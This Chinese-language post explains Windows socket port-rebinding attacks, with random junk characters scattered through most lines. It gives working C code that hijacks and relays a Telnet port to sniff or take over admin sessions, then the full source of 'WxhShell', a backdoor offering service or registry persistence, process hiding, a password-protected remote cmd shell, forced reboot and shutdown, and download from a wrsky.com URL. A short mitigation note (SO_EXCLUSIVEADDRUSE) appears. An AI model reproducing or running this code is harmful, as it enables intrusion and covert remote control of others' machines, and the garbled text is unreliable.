在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
B%eDBu
") s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
$(KIB82& ?@lx saddr.sin_family = AF_INET;
M$&WM{Pr^ |B%BwE saddr.sin_addr.s_addr = htonl(INADDR_ANY);
zM_DE y|e2j&m bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
rb *C-NutE J})$ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
@~$F;M=.* c_qcb7<~. 这意味着什么?意味着可以进行如下的攻击:
--
i&" 9raHSzK@d 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
;# R3k VBbUl|X\ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
%="~\1y 5Cc6,
] 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
XN~#gm#
g{A3W) [ b 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
<ELziE~>V DOF?(:8Y 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
%z-dM` i f[JI/H> 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Y)Znb;`?a ?jNF6z*M6 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
HUU >hq9 Kf05<J! #include
&*(n<5wt #include
I;kf
#nvao #include
UM4@H1 #include
.8T\Nr\~2 DWORD WINAPI ClientThread(LPVOID lpParam);
IwTr'}XIw int main()
gro7*< {
CF3E]dt WORD wVersionRequested;
~@[(N]=q DWORD ret;
'?{0z!! WSADATA wsaData;
->&BcPLn BOOL val;
LKR= =;qn SOCKADDR_IN saddr;
\#\`!L[1 SOCKADDR_IN scaddr;
F* 3G_V int err;
x1 ;rb8 SOCKET s;
&5kZ{,-eM SOCKET sc;
@9_nwf~X4 int caddsize;
&7L~PZ HANDLE mt;
/e.FY9 DWORD tid;
ur/Oc24i1n wVersionRequested = MAKEWORD( 2, 2 );
U;';"9C2> err = WSAStartup( wVersionRequested, &wsaData );
jo,6Aog|u if ( err != 0 ) {
xZ^ywa_ printf("error!WSAStartup failed!\n");
:k WZSN8.D return -1;
Wk/fB0 }
WdTbt saddr.sin_family = AF_INET;
4r_!>['`" U9<_6Bsd //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
/Y;+PAy (oLpnjJ(, saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
9"WRI Ht'c saddr.sin_port = htons(23);
Fy 4Tvg if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*oEv ,I_ {
gf:vb*#Wa printf("error!socket failed!\n");
?gd'M_-J, return -1;
z6p#fsD }
,3VG.u;U val = TRUE;
(y=dR1p //SO_REUSEADDR选项就是可以实现端口重绑定的
x9xzm5 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
DgDSVFk
~ {
2-8YSHlh printf("error!setsockopt failed!\n");
!(W[!% return -1;
beJZpg }
| f"-|6 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
q$MHCq; //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
|9+bSH9 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
H,(F1+~d 96vj)ql if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
qAUaF;{ {
ge^!F>whr ret=GetLastError();
kjx> printf("error!bind failed!\n");
@AvM return -1;
D",A$(lG }
xM% H~( listen(s,2);
fkW3~b while(1)
nURvy}<r {
(YAI,Xnw caddsize = sizeof(scaddr);
>oe4mW //接受连接请求
M{*kB2jr sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
&@=u+)^-{ if(sc!=INVALID_SOCKET)
TRSOO} {
h^['rmd mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
'/Cg*o/ if(mt==NULL)
(d54C(") {
HMF8;,<_w? printf("Thread Creat Failed!\n");
,`D/sNP,q break;
ov1Wr#s }
>-VWm
A }
~;}\zKQKE CloseHandle(mt);
Lqg]Fd }
kVWGDI$~ closesocket(s);
63.( j P1; WSACleanup();
gB>(xY>LrA return 0;
3b<: :t }
O-i4_YdVt DWORD WINAPI ClientThread(LPVOID lpParam)
vB Sm=M {
_i-\mR_~ SOCKET ss = (SOCKET)lpParam;
k&O C& SOCKET sc;
Dz,uS nnm unsigned char buf[4096];
\^yXc*C SOCKADDR_IN saddr;
w-J"zC long num;
<H<!ht%q3 DWORD val;
\.5F](: DWORD ret;
T:c7@^= //如果是隐藏端口应用的话,可以在此处加一些判断
ex.+'m<g //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Z#CxQ D%\ saddr.sin_family = AF_INET;
3b#L17D3_ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
j0AwL7 saddr.sin_port = htons(23);
7`Qde!+C if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>+L7k^[,0 {
1d`cTaQ- printf("error!socket failed!\n");
Ny[QT*nV return -1;
8098y,mQe }
bi+9R-=& val = 100;
4/b(Y4$,[r if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
,cLH*@ {
t5%TS:u ret = GetLastError();
9`&?hi49nK return -1;
Y^4q9?2G }
0%/,>IR>r if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ya#RII'] {
I[@ts!YD ret = GetLastError();
?vvG)nW return -1;
%yeu" }
{ AFf:[G if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Ocyb c% {
V>6QPA^ printf("error!socket connect failed!\n");
1bd$XnU closesocket(sc);
dQ,Q+ON> closesocket(ss);
ebzzzmwo return -1;
1y7y0V }
Qy/uB$q{A while(1)
#kj~G]QA {
]Z=Ij
gr$
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
U4=]#=R~o //如果是嗅探内容的话,可以再此处进行内容分析和记录
NJk)z&M //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
;3mL^ num = recv(ss,buf,4096,0);
Is
ot4HLM if(num>0)
Ha?G=X send(sc,buf,num,0);
lHcA j{6 else if(num==0)
C(}^fJ6r break;
WXLK89ev\ num = recv(sc,buf,4096,0);
E!uJ6\ if(num>0)
[8.-(-/; send(ss,buf,num,0);
I4ebkP gf else if(num==0)
7aV$YuL)X~ break;
$_wo6/J5+D }
,}KwP*:Z closesocket(ss);
-U7,k\g closesocket(sc);
l(#1mY5!q8 return 0 ;
grc:Y }
0',[J eap8*ONl (nq^\ZdF ==========================================================
e#1.T alVdQfu 下边附上一个代码,,WXhSHELL
>:A<"wZ as(; ] ==========================================================
\Yd4gaY\o ;uK";we #include "stdafx.h"
p=H3Q?HJ} s"q=2i #include <stdio.h>
d @m\f #include <string.h>
Gy9
$Wj #include <windows.h>
a#$N% =j #include <winsock2.h>
ZvH?3Jy #include <winsvc.h>
^,`M0g\$ #include <urlmon.h>
5\xr?`VZ ~}K{e #pragma comment (lib, "Ws2_32.lib")
oXdel
Ju? #pragma comment (lib, "urlmon.lib")
|U EC "-P/jk #define MAX_USER 100 // 最大客户端连接数
f}2;N #define BUF_SOCK 200 // sock buffer
Je 31". #define KEY_BUFF 255 // 输入 buffer
IytDvz*| $T?]+2,6; #define REBOOT 0 // 重启
,m:L2 -J@ #define SHUTDOWN 1 // 关机
Ch t%uzb, b4)k &*dfR #define DEF_PORT 5000 // 监听端口
JYQ.EAsr! )nOE8y/ #define REG_LEN 16 // 注册表键长度
\ADLMj`F| #define SVC_LEN 80 // NT服务名长度
<<sE`>) #jm@N7OZ // 从dll定义API
=DC3a3&% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
x)_r@l`$ix typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
NJm-%K typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
ioWo ] typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
\sITwPA[z dZDK7UL // wxhshell配置信息
85D? dgV struct WSCFG {
b)`pZiQP int ws_port; // 监听端口
>Mw'eQ0(y char ws_passstr[REG_LEN]; // 口令
ws[/ int ws_autoins; // 安装标记, 1=yes 0=no
7E\g
&R. char ws_regname[REG_LEN]; // 注册表键名
T)~!mifX char ws_svcname[REG_LEN]; // 服务名
\2 >3Opt char ws_svcdisp[SVC_LEN]; // 服务显示名
#|?8~c;RWG char ws_svcdesc[SVC_LEN]; // 服务描述信息
('JKN"3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
xp^ 7#`MJ? int ws_downexe; // 下载执行标记, 1=yes 0=no
e1UITjy char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
f3vF"O char ws_filenam[SVC_LEN]; // 下载后保存的文件名
p?kvW42/ ^KbL
,T };
[S0mY[" !D;c,{Oz // default Wxhshell configuration
?A&%Cwj struct WSCFG wscfg={DEF_PORT,
G|*G9nQ "xuhuanlingzhe",
7&foEJ3q 1,
%J!NL0x_ "Wxhshell",
+ {e`]t>_ "Wxhshell",
R5ZIC4p "WxhShell Service",
c]NN'9G!{ "Wrsky Windows CmdShell Service",
0m
A(:" "Please Input Your Password: ",
WqQU@sA 1,
$UC {"0 "
http://www.wrsky.com/wxhshell.exe",
X3yS5whd( "Wxhshell.exe"
}LQC.! };
wDKELQ(yH >vAN(3Idu // 消息定义模块
'yr{^Pek char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
~b6GrY"vB char *msg_ws_prompt="\n\r? for help\n\r#>";
?
|VysJ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
S/7l/DFb char *msg_ws_ext="\n\rExit.";
pV=@sz,G char *msg_ws_end="\n\rQuit.";
GW/WUzK char *msg_ws_boot="\n\rReboot...";
RX>2~^ char *msg_ws_poff="\n\rShutdown...";
T,OS 0;7O char *msg_ws_down="\n\rSave to ";
!^?qU;| \z:<DsQ& char *msg_ws_err="\n\rErr!";
CN\=9Rvs char *msg_ws_ok="\n\rOK!";
O|e} x*q35K^PE char ExeFile[MAX_PATH];
E-SG8U; int nUser = 0;
`tVy_/3(9 HANDLE handles[MAX_USER];
,v7Q *3 int OsIsNt;
^{[[Z.&R? ,hvc``j
S8 SERVICE_STATUS serviceStatus;
aq$q
~,E SERVICE_STATUS_HANDLE hServiceStatusHandle;
,Xtj;@~- yWY|]Pp // 函数声明
gr+Pl>C{ int Install(void);
M*`hDdS int Uninstall(void);
y/tSGkMv int DownloadFile(char *sURL, SOCKET wsh);
$r15gfne> int Boot(int flag);
F0.z i>5 void HideProc(void);
(w$'o*z;( int GetOsVer(void);
;==j|/ERe int Wxhshell(SOCKET wsl);
cmDT
+$s void TalkWithClient(void *cs);
q3+8]-9|5 int CmdShell(SOCKET sock);
D/:3RZF int StartFromService(void);
no&-YktP} int StartWxhshell(LPSTR lpCmdLine);
YtYy zX5u7 th
2<o5 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
b-%l-u VOID WINAPI NTServiceHandler( DWORD fdwControl );
+zp0" ,2B kOI
!~Qk // 数据结构和表定义
"dtlME{Bx SERVICE_TABLE_ENTRY DispatchTable[] =
$^h?:L:1n {
y-a|Lu* {wscfg.ws_svcname, NTServiceMain},
E1(1E?}! {NULL, NULL}
5@f5S0 Y };
&<0ZUI |S3 T6HU*( // 自我安装
H~Uq?!=b int Install(void)
wOg,SMiq {
+t"j-}xzE char svExeFile[MAX_PATH];
g>n0z5&TNF HKEY key;
ri=+(NKo- strcpy(svExeFile,ExeFile);
>rf5)Y~f GFL-.?
0 // 如果是win9x系统,修改注册表设为自启动
i/$SN-5}1 if(!OsIsNt) {
,YB1 y)x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
|^Kjz{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
5[R?iSGL1 RegCloseKey(key);
l$M +.GB< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
gtYRV*^q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ab4LTF| RegCloseKey(key);
!y*oF{RZ return 0;
U^ ?=
0+ }
.NnGVxc5* }
1;&T^Gdj }
KB[QZ`"%! else {
e U;jP]FA vgThK9{m; // 如果是NT以上系统,安装为系统服务
8Q(8b@ZO, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
n9]
~
if (schSCManager!=0)
P
{H{UKs# {
Le@?
/ SC_HANDLE schService = CreateService
sfI N)jh (
.
\F7tc8? schSCManager,
- _t&+5] wscfg.ws_svcname,
RL&lKHA wscfg.ws_svcdisp,
Zi{0-m6+ SERVICE_ALL_ACCESS,
?\Q0kr.T% SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
AP w6 SERVICE_AUTO_START,
{ERjeuDm] SERVICE_ERROR_NORMAL,
e{!vNJ0` svExeFile,
H(> M NULL,
Zi4d] NULL,
=DMbz`t NULL,
28oJFi] NULL,
UvBnf+, NULL
ug&92Hdvy3 );
XeU<^ [ if (schService!=0)
8R4qU!M {
Sk=N [hwU CloseServiceHandle(schService);
w~N-W8xNR CloseServiceHandle(schSCManager);
jdlG#j-\ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
mHs:t{q strcat(svExeFile,wscfg.ws_svcname);
&yLc1#H if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
O?E6xc<8 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
TSQhX~RN RegCloseKey(key);
Tl3"PIb return 0;
6K 4+0xXv }
d~`-AC+ }
p;`N\.ld CloseServiceHandle(schSCManager);
' ^a!`"Bc }
;rHz;]si }
m[8
@Unt /aOlYqM(> return 1;
SRf5W'4y }
H\+-cvl !01i%W' // 自我卸载
h8.FX-0& = int Uninstall(void)
[H^ X"D {
_}ele+ HKEY key;
d?7BxYaa V(..8}LlD if(!OsIsNt) {
(}~ucI<~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
x6e +7"#~ RegDeleteValue(key,wscfg.ws_regname);
%U?)?iZdL RegCloseKey(key);
P(;Mb{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]o*$h$? s RegDeleteValue(key,wscfg.ws_regname);
) 4ncutb RegCloseKey(key);
CZ tiWZ return 0;
M/B/b<[' }
5i9Ub|!P }
v#U pw\! }
nh;y:Bi else {
+^gO/0 =v0~[E4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
xb`CdtG2. if (schSCManager!=0)
S@A<6 {
or.\)(m#( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
5"gL.Ez if (schService!=0)
__(V C: {
all*P #[X if(DeleteService(schService)!=0) {
]M\q0>HoJ CloseServiceHandle(schService);
0b++17aV CloseServiceHandle(schSCManager);
; )|nkI return 0;
dz,+tR~ }
`M]BhW) CloseServiceHandle(schService);
PL@7KDQ }
UABbcNW CloseServiceHandle(schSCManager);
B5`;MQJ }
Yxqj - }
~U%j{8uH OG}KqG!n return 1;
?O7iK<5N }
kfK[u/<i (9'be\ // 从指定url下载文件
Yb9cW\lr int DownloadFile(char *sURL, SOCKET wsh)
Zs73
ad {
w4A#>;Qu* HRESULT hr;
rKIRNc#d char seps[]= "/";
24X=5Aj char *token;
XtzOFx/ char *file;
{u4i*udG`) char myURL[MAX_PATH];
dEET}s\ char myFILE[MAX_PATH];
FfSI n3 AY;<q$8j%, strcpy(myURL,sURL);
BA*&N>a token=strtok(myURL,seps);
;qb Dbg while(token!=NULL)
y/\ZAtnLo {
+f]u5p[ file=token;
qK-qcPLsl token=strtok(NULL,seps);
L!vWRwZwC }
K0 QH?F +.K*n& GetCurrentDirectory(MAX_PATH,myFILE);
%I}'Vb{C strcat(myFILE, "\\");
>#?iO]). strcat(myFILE, file);
D!me%; send(wsh,myFILE,strlen(myFILE),0);
D 2$^" send(wsh,"...",3,0);
5p{25N_t hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
#G~wE*VR$ if(hr==S_OK)
RNe9h lr return 0;
vX 1W@s else
Ys%'#f return 1;
t%HI1eO7h z L8J`W }
h[y*CzG !mae^A1 // 系统电源模块
B,MQ.|s[ int Boot(int flag)
P
eHW[\) {
+Lhe, HANDLE hToken;
PJ;.31u TOKEN_PRIVILEGES tkp;
W1`Dx(g B'#4;R!8P= if(OsIsNt) {
iLQSa7 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
)*W=GY* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
F {/>u(@3 tkp.PrivilegeCount = 1;
!G[f[u4Zg tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
*?p
^6vO
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Cy6%S).c if(flag==REBOOT) {
wBE7Bv45 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
^vG=|X|)c return 0;
7?,7TR2Ny }
Nuo^+z
E else {
~W3:xnBEk if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
;/R kMS return 0;
LS{bg.e }
0W_mCV }
X*)?LxTj else {
'9"%@AFxZ if(flag==REBOOT) {
d~sJ=) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
M6&~LI.We= return 0;
T:6K?$y? }
`ReGnT[ else {
9p4%8WhJ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
},v&rkwR return 0;
Enu!u~1]F }
'H!V54
\j }
TqXge{r W oWBs)E return 1;
FN>L7
*,0 }
df^0{gNHx m[W/j/$A+x // win9x进程隐藏模块
N6WPTUQ1mF void HideProc(void)
rykj2/O {
8-A:k E aDN.gMS HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
1z3]PA!R if ( hKernel != NULL )
X:U=MWc> {
p1kl LX pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
3Fgz)*Gu] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
)U]:9) FreeLibrary(hKernel);
Etw~* }
& \JLTw MCM/=M'y return;
O/(3 87= U }
k{_1r; 0u>yT?jP // 获取操作系统版本
+)?, {eE| int GetOsVer(void)
<>VIDE {
Qg[heND OSVERSIONINFO winfo;
7&h\l6}Yh winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
>B`Cch/'U GetVersionEx(&winfo);
t?KUK>>w if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
::v;)VdX+* return 1;
Z>X9J(= else
aXX,Zu^ return 0;
4{Q$!O> }
U7jhV,gO4 eU`;L[ // 客户端句柄模块
F|6
nwvgq int Wxhshell(SOCKET wsl)
";75 6'> {
JR])xPI` SOCKET wsh;
Kq$:\B)<c struct sockaddr_in client;
cD5w| rm?i DWORD myID;
ES^NBI j5P EN)YoVk while(nUser<MAX_USER)
bAN 10U {
E2h(w_l int nSize=sizeof(client);
y2U/$%B)G wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
:2 _0L if(wsh==INVALID_SOCKET) return 1;
y:~eU ,|6Y\L handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
S> .q5 if(handles[nUser]==0)
UVz=QEuYb closesocket(wsh);
=sxkr ih else
uijq@yo8- nUser++;
/g13X,.H }
n'q
aR<bY WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
$I\))*a d:A\<F return 0;
+d.u##$ }
_L8Mpx*E hJecCOA)' // 关闭 socket
>9 q]>fJ void CloseIt(SOCKET wsh)
G!nl'5|y {
mp!YNI closesocket(wsh);
<}<#W/ nUser--;
qi(&8in ExitThread(0);
SRP5P,- y }
nWKO8C> ,m2A
p\l // 客户端请求句柄
hT.4t,wa8 void TalkWithClient(void *cs)
EV:_Kx8f P {
f$Gr`d dz{#"No0 SOCKET wsh=(SOCKET)cs;
@P*ylB}?Q char pwd[SVC_LEN];
~o:rM/!Ba char cmd[KEY_BUFF];
=s`XZkh char chr[1];
,?C|.5 int i,j;
&/ \O2Aw8 h1n*WQ- while (nUser < MAX_USER) {
&\JK%X.Jlt /TzNdIv if(wscfg.ws_passstr) {
%=laY_y
G if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
lq; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/7c2OI=\ //ZeroMemory(pwd,KEY_BUFF);
<sm#D"GpP i=0;
$5ZR[\$ while(i<SVC_LEN) {
ue,#,3{m 5T~3$kuO // 设置超时
s;vWR^Ll fd_set FdRead;
98X!uh' struct timeval TimeOut;
x*NqA(r FD_ZERO(&FdRead);
d-9uv|SJ FD_SET(wsh,&FdRead);
kEp.0wL' TimeOut.tv_sec=8;
X(4s;i TimeOut.tv_usec=0;
<]Ij(+J; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
FgXu1- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
2 9&sydu "2*G$\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
qXXYF>Z- pwd
=chr[0]; CkmlqqUHC
if(chr[0]==0xd || chr[0]==0xa) { xR\D(FLVS
pwd=0; z8
hTZU
break; pw0Px
} |Dl*w/n
i++; pYYqGv^oa
} @WhZx*1
k)?,xY\AV
// 如果是非法用户,关闭 socket &?P=arU
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bRx2
c
} ?| D$#{^
\pjRv
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Fg_?!zR>6
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K<$wz/\
It#h p,@e
while(1) { !F=|*j
&p/S>qKu#
ZeroMemory(cmd,KEY_BUFF); :iP>z}h
|pfhrwJp
// 自动支持客户端 telnet标准 >t1_5
j=0; QH@Q\
@,
while(j<KEY_BUFF) { fG:PdIJ7_
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Xz;et>UD*B
cmd[j]=chr[0]; ;X?Ah
if(chr[0]==0xa || chr[0]==0xd) { TYs+XJ'Xj
cmd[j]=0; ]jHh7> D
break; >wz;}9v
} y#hga5
j++; <;2P._oZ
} 8QkWgd7y
4yA9Ni
// 下载文件 ?b!CV
if(strstr(cmd,"http://")) { tebWj>+1c
send(wsh,msg_ws_down,strlen(msg_ws_down),0); bYwI==3
if(DownloadFile(cmd,wsh)) g*:ae;GP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \>*MMe
else YD/B')/ s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }*fW!(*
} += |hMQ;
else { 71oFm1m{
zjluX\
switch(cmd[0]) { Z!C`f/h9
$nUd\B$.=
// 帮助 6{JR 0
case '?': { k #1`
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *u|lmALs
break; >P6^k!R1y
} /'8*aUa
// 安装 Sqp;/&Ji
case 'i': { {-xi0D/Y;
if(Install()) 5~ _eN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); an*]62 l
else fe&
t-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %NF<bEV
break; wMlf3Uz
} !Z<mrr;T@
// 卸载 X_lUD?y
case 'r': { /|4Q9=
if(Uninstall()) dWzDSlP&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R&u)=~O\5
else {AU` }*5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c,v^A+sZu
break; -XS+Uv
} KKx&UKjV
// 显示 wxhshell 所在路径 SR&(HH$
case 'p': { #~bU}[{
char svExeFile[MAX_PATH]; _H~pH7WU
strcpy(svExeFile,"\n\r"); @Og\SZhn
strcat(svExeFile,ExeFile); @{J!6YGh
send(wsh,svExeFile,strlen(svExeFile),0); x&hvFG3
break; Hrd5p+j
} OPvj{Dv$0
// 重启 jRv;D#Hp
case 'b': { 2ru*#Z#(
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aGq_hP
if(Boot(REBOOT)) B)j`}7O06
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Ks]B2Osz
else { aJuj7y-
closesocket(wsh); <3SFP3^:
ExitThread(0); 2 pM
} kcq9p2zKv
break; ?G~/{m.
}
WrE-Zti
// 关机 o1 hdO
case 'd': { {#dp-5V
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8k+q7
if(Boot(SHUTDOWN)) u%+6Mp[E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jQ.>2-;H9
else { !uj!
closesocket(wsh); Lu8%qcC
ExitThread(0); 'Yaf\Hp
} &X#x9|=&O
break; .G5NGB
} IEno.i\
// 获取shell Z`-)1!
case 's': { dvg;
CmdShell(wsh); p?Z+z
closesocket(wsh); xWenKY,
ExitThread(0); t7C!}'g&'
break; |:7EJkKZ
} 9}%~w(P
// 退出 |kBg8).B
case 'x': { r)9i1rI+
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _g^K$+F'}
CloseIt(wsh); )H[h53bIq
break; 5@R15q@c6n
} ~_dBND?
// 离开 K]H"qG.K
case 'q': { A:8FJ 3'
send(wsh,msg_ws_end,strlen(msg_ws_end),0); d+YVyw.z
closesocket(wsh); Q8}TNJsU
WSACleanup(); K%[}[.cW
exit(1); 1}n)J6m
break; %T&&x2p^=?
} }2iKi(io*
} WL)_8!
} UZ4tq
4 BE:&A
// 提示信息 {L-{Y<fke
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wRV`v$*6
} %mB!|'K%
} 8r`VbgI&
]Vf8mkDGO
return; M@!]U:5~V
} YWcui+4p}
h|c:!VN@
// shell模块句柄 @mQ/WYs
int CmdShell(SOCKET sock) 2#$}yP~
{ QN2*]+/h
STARTUPINFO si; T;:',T[G
ZeroMemory(&si,sizeof(si)); cdek^/
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uusY,Dt/9
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :N*q;j>
PROCESS_INFORMATION ProcessInfo; y :i[~ y
char cmdline[]="cmd"; Kd`l[56#
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +e\:C~2f28
return 0; Q?Bjq>
} zal3j^
DMK"Q#Vw
// 自身启动模式 Fu1|b2B-x
int StartFromService(void) tvj'{W
{ lk+=26>
typedef struct Yn[EI7D
{ iP#A-du
DWORD ExitStatus; %CsTB0Y7n,
DWORD PebBaseAddress; AT8B!m
DWORD AffinityMask; xyz\;3
